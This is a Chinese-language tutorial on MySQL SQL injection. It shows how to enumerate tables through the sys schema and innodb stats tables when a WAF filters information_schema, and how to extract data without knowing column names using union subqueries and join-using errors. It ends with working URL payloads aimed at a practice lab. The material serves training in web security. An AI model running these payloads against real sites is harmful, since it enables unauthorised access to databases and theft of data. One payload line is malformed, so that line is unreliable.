目录
一、基础知识
二、平替information_schema库
三、无列名注入
3.1 正常无列名查询:
3.2 子查询:
3.3 实战
一、基础知识
我们在注入的过程中很多时候利用的就是information_schema这个库获取 table_schema table_name, column_name这些数据库内的信息,而在市面上很多厂商的waf会对其进行过滤和黑名单,而我们在不使用information_schema库,那只能去看看mysql中其他与生俱来的库,这个时候sys库就尤为显眼
二、平替information_schema库
在 Mysql 5.7 版本中新增了 sys.schema ,基础数据 来自于 performance_schema和information_sche两个库中,其本身并不存储数据。
所以 就有了几个可以代替 information_schema 注入的作用
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
查库名:
查表名:
SELECT * FROM x$schema_table_statistics;
但是 sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。
类似的,可以利用的表还有 :
mysql.innodb_table_stats
、mysql.innodb_table_index
同样存放有库名表名
总结一下:
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
数据库名/表名/列名未知
寻找列名?
均可代替 information_schema
三、无列名注入
通过上面铺垫我们知道sys库中可以获取到表明和库名,那怎么拿数据呢????或者说列名怎么拿
利用 join-using 注列名
由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,就会爆出相同的列名的名称,从而获得列名
3.1 正常无列名查询:
无列名注入关键 就是要猜测表里有多少个列,要一一对应上,下面例子是有3个列
1,2,3 的作用就是对列起别名,替换为后面无列名注入做准备
select 1,2,3 union select * from users;
3.2 子查询:
接着就可以使用数字来对应列进行查询,如3对应了表里面的pass,这样我们就可以实现无列名注入了
select a.3 from (select 1,2,3 union select * from users) as a;
3.3 实战
我们用sql注入靶场来举例
爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' select * from (select * from users as a join users )
id
?id=-1' union select * from (select * from users as a join users b using(id))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。